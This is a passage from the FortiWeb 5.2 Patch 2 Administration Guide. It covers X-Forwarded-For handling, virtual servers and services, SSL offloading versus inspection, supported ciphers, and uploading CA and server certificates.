Enable to include the X-Forwarded-For: HTTP header on requests forwarded to your web servers. Behavior varies by the header already provided by the HTTP client or web proxy, if any.
•
Header absent
— Add the header, using the source IP address of the connection.
•
Header present
— Verify that the source IP address of the connection is present in this header’s list of IP addresses. If it is not, append it.
This option can be useful if your web servers log or analyze clients’ public IP addresses, if they support the X-Forwarded-For: header. If they do not, disable this option to improve performance.
This option applies only when FortiWeb is operating in reverse proxy mode or true transparent proxy mode, which applies source network address translation (NAT) and therefore rewrites the source address in the IP layer.
Add X-Real-IP:
Description
Enable to include the X-Real-IP: HTTP header on requests forwarded to your web servers. Behavior varies by the header already provided by the HTTP client or web proxy, if any (see
Add
X-Forwarded-For:
).
Like X-Forwarded-For:, this header is also used by some proxies and web servers to trace the path, log, or analyze based upon the packet’s original source IP address.
This option applies only when FortiWeb is operating in reverse proxy mode or true transparent proxy mode, which applies source network address translation (NAT) and therefore rewrites the source address in the IP layer.
Note: This does not support IPv6.
3. Click OK.
4. To apply the X-header rule, select it when configuring an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
See also
•
External load balancers: before or after?
•
Indicating to back-end web servers that the client’s request was HTTPS
Usually if your FortiWeb is receiving HTTPS requests from clients, and it is operating in reverse proxy mode, SSL/TLS is being offloaded. FortiWeb has terminated the SSL/TLS connection and the second segment of the request, where it forwards to the back-end servers, is clear text
HTTP. In some cases, your back-end server may need to know that the original request was, in fact, encrypted HTTPS, not HTTP.
284 FortiWeb 5.2 Patch 2 Administration Guide
To add an HTTP header that indicates the service used in the client’s original request, go to
Server Objects > X-Forwarded-For > X-Forwarded-For, then enable X-Forwarded-Proto:.
Fortinet
See also
•
•
How to force clients to use HTTPS
Blocking the attacker’s IP, not your load balancer
When you configure
Use X-Header to Identify Original Client’s IP
, FortiWeb compensates for
NAT in your data center by using an HTTP header to derive the client’s IP address. In this way, even if the connection is not established directly between the web browser and FortiWeb, but instead is relayed, with the last segment established between your proxy/load balancer’s IP and
FortiWeb, FortiWeb will still be able to report and block the actual attacker, rather than your own infrastructure.
Only public IPs will be used. If the original client’s IP is a private network IP (e.g. 192.168.*,
172.16.*, 10.*), FortiWeb will instead use the first public IP before or after the original client’s IP in the HTTP header line. (Whether this is counted from the left or right end of the header line depends on
.) In most cases, this public IP will be the client’s Internet
gateway, and therefore blocking based on this IP may affect innocent clients that share the attacker’s Internet connection. See also
.
To limit the performance impact, FortiWeb will analyze the HTTP header for the client’s IP only for the first request in the TCP/IP connection. As a result, it is not suitable for use behind load
balancers that multiplex — that is, attempt to reduce total simultaneous TCP/IP connections by sending multiple, unrelated HTTP requests from different clients within the same TCP/IP connection. Symptoms of this misconfiguration include FortiWeb mistakenly attributing subsequent requests within the same TCP/IP connection to the IP found in the first request’s
HTTP header, even though the X-header indicates that the request originated from a different client.
After FortiWeb has traced the original source IP of the client, FortiWeb will use it in attack logs and reports so that they reflect the true origin of the attack, not your load balancer or proxy.
285 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
FortiWeb will also use the original source IP as the basis for blocking when using some features that operate on the source IP:
• DoS prevention
• brute force login prevention
• period block
Like addresses at the IP layer, attackers can spoof and alter addresses in the HTTP layer. Do not assume that they are 100% accurate, unless there are anti-spoofing measures in place such as defining trusted providers of X-headers.
X-header-derived client IPs are not supported by all features, including:
•
“Blacklisting source IPs with poor reputation” on page 348
•
“Combination access control & rate limiting” on page 343
•
“Restricting access to specific URLs” on page 339
•
To preserve connectivity troubleshooting capabilities, FortiWeb traffic logs do not use the original client IP from X-headers — only attack logs will.
For example, on FortiWeb, if you provide the IP address of the proxy or load balancer, when blocking requests and writing attack log messages or building reports, instead of using the SRC field in the IP layer of traffic as the client’s IP address (which would cause all attacks to appear to originate from the load balancer), FortiWeb can instead find the client’s real IP address in the
X-Forwarded-For:
HTTP header. FortiWeb could also add its own IP address to the chain in
X-Forwarded-For:
, helping back-end web servers that require the original client’s source IP for purposes such as server-side analytics — providing news in the client’s first language or ads relevant to their city, for example.
Figure 41:Attack log using X-Forwarded-For: to expose the attacker’s true source IP at
172.20.120.220 instead of the load balancer’s source IP at 172.20.120.5
Like IP-layer NAT, some networks also translate addresses at the HTTP layer. In those cases, enabling
Use X-Header to Identify Original Client’s IP
may have no effect. To determine the
name of your network’s X-headers, if any, and to see whether or not they are translated, use diagnose network sniffer
in the CLI or external packet capture software such as
Wireshark.
To configure FortiWeb to obtain the packet’s original source IP address from an HTTP header
1. Go to Server Objects > X-Forwarded-For > X-Forwarded-For.
286 FortiWeb 5.2 Patch 2 Administration Guide
2. Configure these settings:
Fortinet
Setting Description
Use X-Header to
Identify Original
Client’s IP
If FortiWeb is deployed behind a device that applies NAT, enable this option to derive the original client’s source IP address from an HTTP
X-header, instead of the SRC field in the IP layer. Then type the key such as X-Forwarded-For or X-Real-IP, without the colon ( : ), of the X-header that contains the original source IP address of the client.
This HTTP header is often X-Forwarded-For: when traveling through a web proxy, but can vary. For example, the Akamai service uses
True-Client-IP:
.
For deployment guidelines and mechanism details, see
“Blocking the attacker’s IP, not your load balancer” on page 285
.
Caution:
To combat forgery, configure the IP addresses of load balancers and proxies that are trusted providers of this header. Also configure those proxies/load balancers to reject fraudulent headers, rather than passing them to FortiWeb.
IP Location in
X-Header
Select whether to extract the original client’s IP from either the left or right end of the HTTP X-header line.
Most proxies put the request’s origin at the left end, which is the default setting. Some proxies, however, place it on the right end.
Block Using
Original Client’s
IP
Enable to be able to block requests that violate your policies by using the original client’s IP derived from this HTTP X-header.
When disabled, only attack logs and reports will use the original client’s
IP.
3. Click OK.
287 FortiWeb 5.2 Patch 2 Administration Guide
4. Click Create New.
A sub-dialog appears.
5. In IP, type the IP address of the external proxy or load balancer according to packets’ SRC field in the IP layer when received by FortiWeb.
To apply anti-spoofing measures and improve security, FortiWeb will trust the contents of the
HTTP header that you specified in
Use X-Header to Identify Original Client’s IP
packet arrived from one of the IP addresses you specify here. Other packets’ X-headers will be regarded as potentially spoofed.
6. Click OK.
The first dialog re-appears.
7. Click OK to save the configuration.
8. To apply the X-header rule, select it when configuring an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
See also
•
External load balancers: before or after?
•
•
•
•
•
•
Configuring virtual servers on your FortiWeb
Before you can create a server policy, you must first configure a virtual server that defines the network interface or bridge and IP address where traffic destined for an individual web server or server farm will arrive. When the FortiWeb appliance receives traffic destined for a virtual server,
Fortinet 288 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet it can then forward the traffic to either a single web server, or distribute sessions/connections among servers in a server farm.
A virtual server on your FortiWeb is not the same as a virtual host on your web server. A virtual server is more similar to a virtual IP on a FortiGate. It is not an actual server, but simply defines the listening network interface. Unlike a FortiGate VIP, it includes a specialized proxy that only picks up HTTP and HTTPS.
By default, in reverse proxy mode, FortiWeb’s virtual servers will not forward
non-HTTP/HTTPS traffic from virtual servers to your protected web servers. (Only traffic picked up and allowed by the HTTP reverse proxy will be forwarded.) You may be able to provide connectivity by either deploying in a one-arm topology where other protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. See also
“Topology for reverse proxy mode” on page 71
and the config router setting command in the
FortiWeb CLI Reference
.
The FortiWeb appliance identifies traffic as being destined for a specific virtual server if:
• the traffic arrives on the network interface or bridge associated with the virtual server
• for reverse proxy mode, the destination address is the IP address of a virtual server (the destination IP address is ignored in other operation modes, except that it must not be identical with the web server’s IP address)
Virtual servers are allowed to be on the same subnet as real web servers. This configuration creates a one-arm HTTP proxy. For example, the virtual server 10.0.0.1/24 could forward to the web server 10.0.0.2.
However, this is not usually recommended. Unless your network’s routing configuration prevents it, it would allow clients that are aware of the web server’s IP address to bypass the
FortiWeb appliance by accessing the back-end web server directly. The topology may be required in some cases, however, such as IP-based forwarding, mentioned above.
To configure a virtual server
1. Go to Server Objects > Server > Virtual Server.
Each server entry includes an Enable check box, marked by default. Clear this check box if you need to disable the server. See
“Enabling or disabling traffic forwarding to your servers” on page 292
.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
289 FortiWeb 5.2 Patch 2 Administration Guide
2. Click Create New.
A dialog appears.
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In IP Address, type the IP address and subnet of the virtual server.
If the FortiWeb appliance is operating in offline protection mode or either of the transparent modes, this IP address is ignored when deciding whether or not to apply a server policy to the connection, and can therefore be any IP address. There is one exception: it must not be identical to the web server. If the virtual server’s IP is identical to the real web server, the configuration will not function.
If a policy has any virtual servers with IPv6 addresses, it will not apply features that do not yet support IPv6, even if they are selected.
5. In Interface, select the network interface or bridge to which the virtual server is bound, and where traffic destined for the virtual server will arrive. To configure an interface or bridge, see
“Network interface or bridge?” on page 119 .
6. Click OK.
8. To use the virtual server, select both it and the custom service in a server policy (see
“Configuring a server policy” on page 509
).
See also
•
•
Defining your network services
Network services define the application layer protocols and port number on which your
FortiWeb will listen for web traffic.
Policies must specify either a predefined or custom network service to define which traffic the policy will match. (Exceptions include server policies whose
is Offline
Protection.)
Fortinet 290 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
•
Defining custom services
Server Objects > Service > Custom enables you to configure custom services.
Predefined services are available for standard IANA port numbers for HTTP and HTTPS
(see “Predefined services” on page 291
). If your virtual server will receive traffic on non-standard port numbers, however, you must define your custom service.
To configure a custom service
1. Go to Server Objects > Service > Custom.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
A dialog appears.
3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In Port, type the port number of the service (by definition of HTTP and HTTPS, only TCP is available).
The port number must be unique among your custom and predefined services. The valid range is from 0 to 65,535.
5. Click OK.
6. To use the custom service definition to define the listening port of a virtual server on the
FortiWeb, select it as the
when configuring a policy (see
“Configuring a server policy” on page 509
).
See also
•
•
Fortinet
Predefined services
Server Objects > Service > Predefined displays the list of predefined services.
Predefined services are according to standard IANA port numbers : TCP port 80 for HTTP and
TCP port 443 for HTTPS.
To use the predefined service definition to define the listening port of a virtual server on the
when configuring a policy (see
“Configuring a server policy” on page 509 ).
291 FortiWeb 5.2 Patch 2 Administration Guide
To access this part of the web UI, your administrator’s account access profile must have Read permission to items in the Server Policy Configuration category. For details, see
.
See also
•
Defining your network services
•
Enabling or disabling traffic forwarding to your servers
You can individually enable and disable FortiWeb’s forwarding of HTTP/HTTPS traffic to your web servers. Mark or clear the Enable check box on either:
• Server Objects > Server > Virtual Server
• Server Objects > Server > Physical Server
• Server Objects > Server > Domain Server
Figure 42:Disabling traffic forwarding to a web server
Fortinet
Disabling policies only affects HTTP/HTTPS traffic. To enable or disable forwarding of FTP,
SSH, or other traffic, use the CLI command config router setting. For details, see the
FortiWeb CLI Reference
.
Disabled virtual servers can be selected in a server policy, but will result in a policy that is unable to forward traffic until the virtual server is enabled.
You can select disabled physical and domain servers for a server farm, but they will not be used when forwarding traffic.
By default, physical and domain servers are enabled and the FortiWeb appliance can forward traffic to them. To prevent traffic from being forwarded to a physical server, such as when the server will be unavailable for a long time due to repairs, you can disable it. If the disabled physical server is a member of a load-balanced server farm, the FortiWeb appliance will automatically forward connections to other enabled physical servers in the server farm. For content-based routing to server farms, the FortiWeb appliance will forward connections to the first physical server in the server farm.
If the physical or domain server is a member of a server farm and will be unavailable only temporarily, you can alternatively configure a server health check to automatically prevent the
FortiWeb appliance from forwarding traffic to that physical server when it is unresponsive. For details, see
“Configuring server up/down checks” on page 265
.
292 FortiWeb 5.2 Patch 2 Administration Guide
Disabling a physical or domain server could block traffic matching policies in which you have selected the physical server, or selected a server farm in which the physical server is a member.
See also
•
Defining your web server by its IP address
•
Defining your web server by its DNS domain name
•
Configuring virtual servers on your FortiWeb
•
Grouping your web servers into server farms
•
Enabling or disabling a policy
Fortinet 293 FortiWeb 5.2 Patch 2 Administration Guide
Secure connections (SSL/TLS)
When a FortiWeb appliance initiates or receives an SSL or TLS connection, it will use certificates. Certificates can be used in HTTPS connections for:
• encryption
• decryption and inspection
• authentication of clients
• authentication of servers
FortiWeb may require you to provide certificates and CRLs even if your web sites’ clients do not use HTTPS to connect to the web sites.
For example, when sending alert email via SMTPS or querying an authentication server via
LDAPS or STARTTLS, FortiWeb will validate the server’s certificate by comparing the server certificate’s CA signature with the certificates of CAs that are known and trusted by the
FortiWeb appliance. See “Uploading trusted CAs’ certificates” on page 297
and
“Revoking certificates” on page 336
.
Offloading vs. inspection
Depending on the FortiWeb appliance’s operation mode, FortiWeb can act as the SSL/TLS terminator: instead of clients having an encrypted tunnel along the entire path to a back-end server, the client’s HTTPS request is encrypted/decrypted partway along its path to the server, when it reaches the FortiWeb. FortiWeb then is typically configured to forward unencrypted
HTTP traffic to your servers. When the server replies, the server connects to the FortiWeb via clear text HTTP. FortiWeb then encrypts the response and forwards it via HTTPS to the client.
In this way, FortiWeb bears the load for encryption processing instead of your back-end servers, allowing them to focus resources on the network application itself. This is called
SSL offloading.
Fortinet
SSL offloading can be associated with improved SSL/TLS performance. In hardware models with specialized ASIC chip SSL accelerator(s), FortiWeb can encrypt and decrypt packets at better speeds than a back-end server with a general-purpose CPU.
294 FortiWeb 5.2 Patch 2 Administration Guide
When SSL offloading, the web server does not use its own server certificate. Instead,
FortiWeb acts like an SSL proxy for the web server, possessing the web server’s certificate and using it to:
• authenticate itself to clients
• decrypt requests
• encrypt responses whenever a client requests an HTTPS connection to that web server.
As a side effect of being an SSL terminator, the FortiWeb is in possession of both the HTTP request and reply in their decrypted state. Because they are not encrypted at that point on the path, FortiWeb can rewrite content and/or route traffic based upon the contents of Layer 7 (the application layer). Otherwise Layer 7 content-based routing and rewriting would be impossible: that part of the packets would be encrypted and unreadable to FortiWeb.
Secure traffic between FortiWeb and back-end servers when using SSL offloading. Failure to do so will compromise the security of all offloaded sessions. No attack will be apparent to clients, as SSL offloading cannot be detected by them, and therefore they will not receive any alerts that their session has been compromised.
For example, you might pass decrypted traffic to back-end servers as directly as possible, through one switch that is physically located in the same locked rack, and that has no other connections to the overall network.
However, depending on the operation mode, FortiWeb is not always an SSL terminator.
By their asynchronous nature, SSL termination cannot be supported in transparent inspection and offline protection modes. (To terminate, FortiWeb must process traffic synchronously with the connection state.) In those modes, the web server uses its own certificate, and acts as
its own SSL terminator. The web server bears the load for SSL processing. FortiWeb only
“listens in” and can interrupt the connection, but otherwise cannot change or reroute packets.
In those modes, FortiWeb only uses the web server’s certificate to decrypt traffic in order to scan it for policy violations. If there are no violations, it allows the existing encrypted traffic to continue without interruption. FortiWeb does not expend CPU and resources to re-encrypt, because it is not a terminator.
In other words, FortiWeb performs SSL inspection, not SSL offloading.
Fortinet
See also
•
Supported cipher suites & protocol versions
•
How to offload or inspect HTTPS
•
How to offload or inspect HTTPS
295 FortiWeb 5.2 Patch 2 Administration Guide
Supported cipher suites & protocol versions
How secure is an HTTPS connection?
This is partially physical considerations such as restricting access to private keys and decrypted
traffic (see “Offloading vs. inspection” on page 294
). Another part is the encryption.
A secure connection’s protocol version and cipher suite, including encryption bit strength and encryption algorithms, is negotiated between the client and the SSL/TLS terminator during the handshake.
Which device is the SSL terminator varies by the FortiWeb operation mode. It is either:
• the FortiWeb (if doing SSL offloading)
• the web server (if FortiWeb is doing only SSL inspection)
Therefore supported cipher suites also vary by operation mode.
For example, inline protection mode, FortiWeb is the SSL terminator, and supports:
• SSL 2.0 (disabled by default for security reasons)
• DES-EDE3-CBC-MD5 — 192-bit
• DES-CBC-MD5 — 64-bit
• SSL 3.0
• AES-SHA — 256-bit & 128-bit
• DES-CBC3-SHA — 168-bit
• TLS 1.0
• AES-SHA — 256-bit & 128-bit
• DES-CBC3-SHA — 168-bit
Ephemeral Diffie-Hellman key exchanges, which may be accepted by clients such as Google
If required by compatibility reasons, you can enable less secure cipher suites. See the settings weak_enc
and ssl-md5 in the config system global command in the
FortiWeb CLI
Reference
.
If you are not sure which cipher suites are supported by your web server, you can use a client-side tool to test. See
“Checking the SSL/TLS handshake & encryption” on page 686 .
Fortinet 296 FortiWeb 5.2 Patch 2 Administration Guide
Generally speaking, for security reasons, TLS 1.1, AES-256 or ECC, and SHA-1 are preferable., although you may not be able to use them for client compatibility reasons. Avoid using:
• SSL 2.0
• TLS 1.0
• Older hash algorithms, such as MD5. (On modern computers, these can be cracked quickly.)
• Ciphers with known vulnerabilities, such as some implementations of RC4, AES and DES
(e.g. To protect clients with incorrect CBC implementations for AES and DES, configure
• Encryption bit strengths less than 128
• Older styles of renegotiation (These are vulnerable to man-in-the-middle (MITM) attacks.)
• Client-initiated renegotiation (Configure
Disable Client-Initiated SSL Renegotiation
.)
See also
•
•
How to offload or inspect HTTPS
•
Defeating cipher padding attacks on individually encrypted inputs
Uploading trusted CAs’ certificates
In order to authenticate other devices’ certificates, FortiWeb has a store of trusted CAs’ certificates. Until you upload at least one CA certificate, FortiWeb does not know and trust
any CAs, it cannot validate any other client or device’s certificate, and all of those secure
connections will fail.
FortiWeb may require you to provide certificates and CRLs even if your web sites’ clients do not use HTTPS to connect to the web sites.
For example, when sending alert email via SMTPS or querying an authentication server via
LDAPS, FortiWeb will validate the server’s certificate by comparing the server certificate’s CA signature with the certificates of CAs that are known and trusted by the FortiWeb appliance.
Certificate authorities (CAs) validate and sign others’ certificates. When FortiWeb needs to know whether a client or device’s certificate is genuine, it will examine the CA’s signature, comparing it with the copy of the CA’s certificate that you have uploaded in order to determine if they were both made using the same private key. If they were, the CA’s signature is genuine, and therefore the client or device’s certificate is legitimate.
If the signing CA is not known, that CA’s own certificate must likewise be signed by one or more other intermediary CAs, until both the FortiWeb appliance and the client or device can demonstrate a signing chain that ultimately leads to a mutually trusted (shared “root”) CA that they have in common. Like a direct signature by a known CA, this proves that the certificate can be trusted. For information on how to include a signing chain, see
HTTPS” on page 300“Uploading a server certificate” on page 306 .
Fortinet 297 FortiWeb 5.2 Patch 2 Administration Guide
To upload a CA’s certificate
1. Obtain a copy of your CA’s certificate file.
If you are using a commercial CA, your web browser should already contain a copy in its CA trust store. Export a copy of the file to your desktop or other folder.
If you are using your own private CA, download a copy from your CA’s server. For example, on Windows Server 2003, you would go to: https://<ca-server_ipv4>/certsrv/ where <ca-server_ipv4> is the IP address of your CA server. Log in as
Administrator
. (Other accounts may not have sufficient privileges.) The Microsoft
Certificate Services home page for your server’s CA should appear.
Fortinet
Verify that your private CA’s certificate does not contain its private keys. Disclosure of private keys compromises the security of your network, and will require you to revoke and regenerate all certificates signed by that CA.
2. Go to System > Certificates > CA.
You can click View Certificate Detail to view the selected certificate’s subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
3. To upload a certificate, click Import.
A dialog appears.
298 FortiWeb 5.2 Patch 2 Administration Guide
4. To select a certificate, either:
• Enable SCEP and in the field to the right of it, type the URL of the applicable Simple
Certificate Enrollment Protocol server. (SCEP allows routers and other intermediary network devices to obtain certificates.)
To specify a specific CA, type an identifier in the field below the URL.
• Enable Local PC and browse to find a certificate file.
5. Click OK.
6. To use the CA certificate when validating clients’ personal certificates, select it in a CA
7. To test your configuration, cause your appliance to initiate a secure connection to an LDAPS
server (see “To configure an administrator remote authentication query group” on page 227 ).
If the query fails, verify that your CA is the same one that signed the LDAP server’s certificate, and that its certificate’s extensions indicate that the certificate can be used to sign other certificates. Verify that both the appliance and LDAP server support the same cipher suites and SSL/TLS protocols. Also verify that your routers and firewalls are configured to allow the connection.
See also
•
Configuring FortiWeb to validate client certificates
Grouping trusted CAs’ certificates
CAs must belong to a group in order to be selected in a certificate verification rule for PKI authentication (see
“Configuring FortiWeb to validate client certificates” on page 334 ).
To configure a CA certificate group
1. Before you can create a CA group, you must upload at least one of the certificate authority
(CA) certificates that you want to add to the group. For details, see
“Uploading trusted CAs’ certificates” on page 297
.
2. Go to System > Certificates > CA Group.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
3. Click Create New.
A dialog appears.
Fortinet
Clear
Edit
Delete
4. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click OK.
299 FortiWeb 5.2 Patch 2 Administration Guide
6. Click Create New.
A dialog appears.
7. In ID, enter the index number of the host entry within the group, or keep the field’s default value of auto to let the FortiWeb appliance automatically assign the next available index number.
8. In CA, select the name of a certificate authority’s certificate that you previously uploaded and want to add to the group.
9. Click OK.
10.Repeat the previous steps for each CA that you want to add to the group.
11.To apply a CA group, select it in a certificate verification rule (see
“Configuring FortiWeb to validate client certificates” on page 334
).
See also
•
Configuring FortiWeb to validate client certificates
How to offload or inspect HTTPS
Whether offloading or merely inspecting for HTTPS, FortiWeb must have a copy of your protected web servers’ X.509 server certificates. FortiWeb also has its own server certificate, which it uses to prove its own identity.
Which certificate will be used, and how, depends on the purpose.
•
For connections to the web UI
— The FortiWeb appliance presents its own (“default” or
“Fortinet_Factory”) certificate.
The FortiWeb appliance’s default certificate does not appear in the list of locally stored certificates. It is used only for connections to the web UI and cannot be removed.
•
For SSL offloading or SSL inspection
— Server certificates do not belong to the FortiWeb appliance itself, but instead belong to the protected web servers. FortiWeb uses the web server’s certificate because it either acts as an SSL agent for the web server, or is privy to its secure connections for the purpose of scanning. You must select which one the FortiWeb appliance will use when configuring
“Configuring a server policy” on page 509
in a server farm (see “Uploading a server certificate” on page 306
).
System > Certificates > Local displays all X.509 server certificates that are stored locally, on the
FortiWeb appliance, for the purpose of offloading or scanning HTTPS.
Fortinet 300 FortiWeb 5.2 Patch 2 Administration Guide
Table 35: System > Certificates > Local
Fortinet
Button/field
Generate
Import
View Certificate
Detail
Download
Edit Comments
(No label. Check box in column heading.)
Name
Subject
Comments
Status
Description
Click to generate a certificate signing request. For details, see
“Generating a certificate signing request” on page 302 .
Click to upload a certificate. For details, see “Uploading a server certificate” on page 306 .
Click to view the selected certificate’s subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
Click to download the selected CSR’s entry in certificate signing request (.csr) file format.
This button is disabled unless the currently selected file is a CSR.
Click to add or modify the comment associated with the selected certificate.
Click to mark all check boxes in the column, selecting all entries.
To select an individual entry, instead, mark the check box in the entry’s row.
Displays the name of the certificate.
Displays the distinguished name (DN) located in the Subject: field of the certificate.
If the row contains a certificate request which has not yet been signed, this field is empty.
Displays the description of the certificate, if any. Click the Edit
Comments icon to add or modify the comment associated with the certificate or certificate signing request.
Displays the status of the certificate.
• OK — Indicates that the certificate was successfully imported.
To use the certificate, select it in a server policy or server farm.
• PENDING — Indicates that the certificate request has been generated, but must be downloaded, signed, and imported before it can be used as a server certificate.
FortiWeb presents a server certificate when any client requests a secure connection, including when:
• Administrators connect to the web UI (HTTPS connections only)
• Clients use SSL or TLS to connect to a virtual server, if you enabled SSL offloading in the policy (HTTPS connections and reverse proxy mode only)
301 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Although they do not present a certificate during SSL/TLS inspection, FortiWeb still requires server certificates in order to decrypt and scan HTTPS connections travelling through it (SSL inspection) if operating in any mode except reverse proxy. Otherwise, FortiWeb will not be able to scan the traffic, and will not be able to protect that web server.
If you want clients to be able to use HTTPS with your web site, but your web site does not already have a server certificate to represent its authenticity, you must first generate a certificate
signing request (see “Generating a certificate signing request” on page 302 ). Otherwise, start
with
“Uploading a server certificate” on page 306 .
See also
•
•
How operation mode affects server policy behavior
•
Grouping your web servers into server farms
•
Generating a certificate signing request
•
Uploading a server certificate
•
Revoking certificates by OCSP query
•
•
Supported cipher suites & protocol versions
•
Uploading trusted CAs’ certificates
Generating a certificate signing request
Many commercial certificate authorities (CAs) will provide a web site where you can generate your own certificate signing request (CSR). A CSR is an unsigned certificate file that the CA will sign. When the CSR is generated, the associated private key that the appliance will use to sign and/or encrypt connections with clients is also generated.
If your CA does not provide this, or if you have your own private CA such as a Linux server with
OpenSSL, you can use the appliance generate a CSR and private key. This CSR can then be submitted for verification and signing by the CA.
To generate a certificate request
1. Go to System > Certificates > Local.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
2. Click Generate.
A dialog appears.
302 FortiWeb 5.2 Patch 2 Administration Guide
3. Configure the certificate signing request:
Fortinet
Setting name
Certification Name
Key Type
Key Size
Enrollment Method
Description
Enter a unique name for the certificate request, such as www.example.com
. This can be the name of your web site.
Displays the type of algorithm used to generate the key.
This option cannot be changed, but appears in order to indicate that only RSA is currently supported.
Select a secure key size of 512 Bit, 1024 Bit, 1536 Bit or
2048 Bit. Larger keys are slower to generate, but provide better security.
Select either:
• File Based — You must manually download and submit the resulting certificate request file to a certificate authority (CA) for signing. Once signed, upload the local certificate.
• Online SCEP — The FortiWeb appliance will automatically use HTTP to submit the request to the simple certificate enrollment protocol (SCEP) server of a CA, which will validate and sign the certificate. For this selection, two options appear. Enter the CA
Server URL and the Challenge Password.
303 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Subject Information
ID Type
IP
Description
Includes information that the certificate is required to contain in order to uniquely identify the FortiWeb appliance. This area varies depending on the ID Type selection.
Select the type of identifier to use in the certificate to identify the FortiWeb appliance:
• Host IP — Select if the FortiWeb appliance has a static IP address and enter the public IP address of the FortiWeb appliance in the IP field. If the FortiWeb appliance does not have a public IP address, use
E-Mail or Domain Name instead.
•
Domain Name
— Select if the FortiWeb appliance has a static IP address and subscribes to a dynamic DNS service. Enter the FQDN of the FortiWeb appliance, such as www.example.com, in the Domain Name field. Do not include the protocol specification (http://) or any port number or path names.
•
— Select and enter the email address of the owner of the FortiWeb appliance in the e-mail field.
Use this if the appliance does not require either a static IP address or a domain name.
The type you should select varies by whether or not your
FortiWeb appliance has a static IP address, a fully-qualified domain name (FQDN), and by the primary intended use of the certificate.
For example, if your FortiWeb appliance has both a static
IP address and a domain name, but you will primarily use the local certificate for HTTPS connections to the web UI by the domain name of the FortiWeb appliance, you might prefer to generate a certificate based upon the domain name of the FortiWeb appliance, rather than its IP address.
Depending on your choice for ID Type, related options appear.
Type the static IP address of the FortiWeb appliance, such as 10.0.0.1.
The IP address should be the one that is visible to clients.
Usually, this should be its public IP address on the
Internet, or a virtual IP that you use NAT to map to the appliance’s IP address on your private network.
This option appears only if ID Type is Host IP.
Domain Name
Type the fully qualified domain name (FQDN) of the
FortiWeb appliance, such as www.example.com.
The domain name must resolve to the static IP address of the FortiWeb appliance or protected server. For more
information, see “Configuring the network interfaces” on page 121 .
This option appears only if ID Type is Domain Name.
304 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Optional Information
Description
Type the email address of the owner of the FortiWeb appliance, such as [email protected].
This option appears only if ID Type is E-Mail.
Includes information that you may include in the certificate, but which is not required.
Type the name of your organizational unit (OU), such as the name of your department. This is optional.
Organization unit
To enter more than one OU name, click the + icon, and enter each OU separately in each field.
Type the legal name of your organization. This is optional.
Organization
Locality(City)
Type the name of the city or town where the FortiWeb appliance is located. This is optional.
State/Province
Type the name of the state or province where the
FortiWeb appliance is located. This is optional.
Country/Regio n e-mail
Select the name of the country where the FortiWeb appliance is located. This is optional.
Type an email address that may be used for contact purposes, such as [email protected].
This is optional.
4. Click OK.
The FortiWeb appliance creates a private and public key pair. The generated request includes the public key of the FortiWeb appliance and information such as the FortiWeb appliance’s IP address, domain name, or email address. The FortiWeb appliance’s private key remains confidential on the FortiWeb appliance. The Status column of the entry is
PENDING.
5. Select the row that corresponds to the certificate request.
6. Click Download.
Standard dialogs appear with buttons to save the file at a location you select. Your web browser downloads the certificate request (.csr) file. Time required varies by the size of the file and the speed of your network connection.
7. Upload the certificate request to your CA.
After you submit the request to a CA, the CA will verify the information in the certificate, give it a serial number, an expiration date, and sign it with the public key of the CA.
8. If you are not using a commercial CA whose root certificate is already installed by default on web browsers, download your CA’s root certificate, then install it on all computers that will be connecting to your appliance. (If you do not install these, those computers may not trust your new certificate.)
9. When you receive the signed certificate from the CA, upload the certificate to the FortiWeb
appliance (see “Uploading a server certificate” on page 306
).
See also
•
Uploading a server certificate
305 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Uploading a server certificate
You can import (upload) either:
• Base64-encoded
• PKCS #12 RSA-encrypted
X.509 server certificates and private keys to the FortiWeb appliance.
DSA-encrypted certificates are not supported if the FortiWeb appliance is operating in a mode other than reverse proxy. See
“Supported features in each operation mode” on page 69
.
If a server certificate is signed by an intermediate certificate authority (CA) rather than a root CA, before clients will trust the server certificate, you must demonstrate a link with root CAs that the clients trust, thereby proving that the server certificate is genuine. You can demonstrate this chain of trust either by:
• Appending a signing chain in the server certificate.
• Uploading and configuring a signing chain separately (see
“Supplementing a server certificate with its signing chain” on page 308 ).
• Installing each intermediary CA’s certificate in clients’ trust store (list of trusted CAs).
Which method is best for you often depends on whether you have a convenient method for deploying CA certificates to clients, such as you may be able to for clients in an internal
Microsoft Active Directory domain, and whether you often refresh the server certificate.
To append a signing chain in the certificate itself, before uploading the server certificate
to the FortiWeb appliance
1. Open the certificate file in a plain text editor.
2. Append the certificate of each intermediary CA in order from the intermediary CA who signed the local certificate to the intermediary CA whose certificate was signed directly by a trusted root CA.
For example, a server’s certificate that includes a signing chain might use the following structure:
-----BEGIN CERTIFICATE-----
<server certificate>
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
<certificate of intermediate CA 1, who signed the server certificate>
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
<certificate of intermediate CA 2, who signed the certificate of intermediate CA 1 and whose certificate was signed by a trusted root
CA>
-----END CERTIFICATE-----
3. Save the certificate.
306 FortiWeb 5.2 Patch 2 Administration Guide
To upload a certificate
The total file size of all certificates, private keys, and any other uploaded files may not exceed
12 MB.
1. Go to System > Certificates > Local.
